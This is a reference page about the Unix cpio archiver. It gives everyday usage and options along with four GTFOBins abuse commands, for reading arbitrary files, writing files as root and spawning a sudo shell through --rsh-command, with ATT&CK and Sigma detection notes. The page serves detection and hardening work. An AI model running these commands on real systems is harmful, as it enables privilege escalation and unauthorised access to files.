Identifier / Programs / Linux and Unix
cpio
Copy files in and out of archives. Supports the following archive formats: cpio's custom binary, old ASCII, new ASCII, crc, HPUX binary, HPUX old ASCII, old tar, and POSIX.1 tar. tldr-pages
GTFOBins file-read, file-write, shell 1 ATT&CK technique 4 documented commands
How cpio is abused
file-read
-oCreate archive (stdin=list of files, stdout=archive) toyboxfile-read
-dpfile-write
-udpshell T1059.004 Command and Scripting Interpreter: Unix Shell
-oCreate archive (stdin=list of files, stdout=archive) toybox--rsh-command-FUse archive FILE instead of stdin/stdout toyboxEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for cpio.
4 documented commands
file-read unprivileged, with sudo, as SUID
The content of the file is printed to standard output, between the cpio archive format header and footer.
echo /path/to/input-file | cpio -ofile-read unprivileged, with sudo, as SUID
The whole directory structure is copied to ., hence this is also a file write.
echo /path/to/input-file | cpio -dp .
cat path/to/input-fileWith sudo:
echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-fileAs SUID:
echo /path/to/input-file | cpio -R $UID -dp .
cat path/to/input-filefile-write unprivileged, with sudo, as SUID
The whole directory structure is copied to ., with the data written to ./path/to/temp-file.
echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -udp .With sudo:
echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .As SUID:
echo DATA >/path/to/temp-file
echo /path/to/temp-file | cpio -R 0:0 -udp .shell with sudo
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:None of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for cpio. The identifier reads the line of each that runs cpio.
What detects it
Everyday use
Take a list of file names from stdin and add them onto an archive (copy-out) in cpio's binary forma
echo "path/to/file1 path/to/file2 ..." | cpio --create >archive.cpioIdentifyCopy all files and directories in a directory and add them onto an archive (copy-out), in verbose mode
find path/to/directory | cpio [-ov|--create --verbose] >archive.cpioIdentifyTrips 1 Sigma rule: informationalFile and Directory Discovery - Linux by Daniil Yugoslavskiy, oscd.community, CheraghiMilad
Pick all files from an archive (copy-in), generating directories where needed, in verbose mode
cpio <archive.cpio [-idv|--extract --make-directories --verbose]IdentifyOf the 3 examples the identifier reads, 1 matches GTFOBins abuse or trips a Sigma process-creation rule.
Options
Show every option of cpio
-dCreate directories if needed-F FILEUse archive FILE instead of stdin/stdout-iExtract from archive into file system (stdin=archive)-LFollow symlinks-oCreate archive (stdin=list of files, stdout=archive)-p DESTCopy-pass mode, copy stdin file list to directory DEST-R USERReplace owner with USER[:GROUP]-tTest files (list only, stdin=archive, stdout=list of files)-uUnlink existing files when extracting-vVerbose--no-preserve-ownerDon't set ownership during extract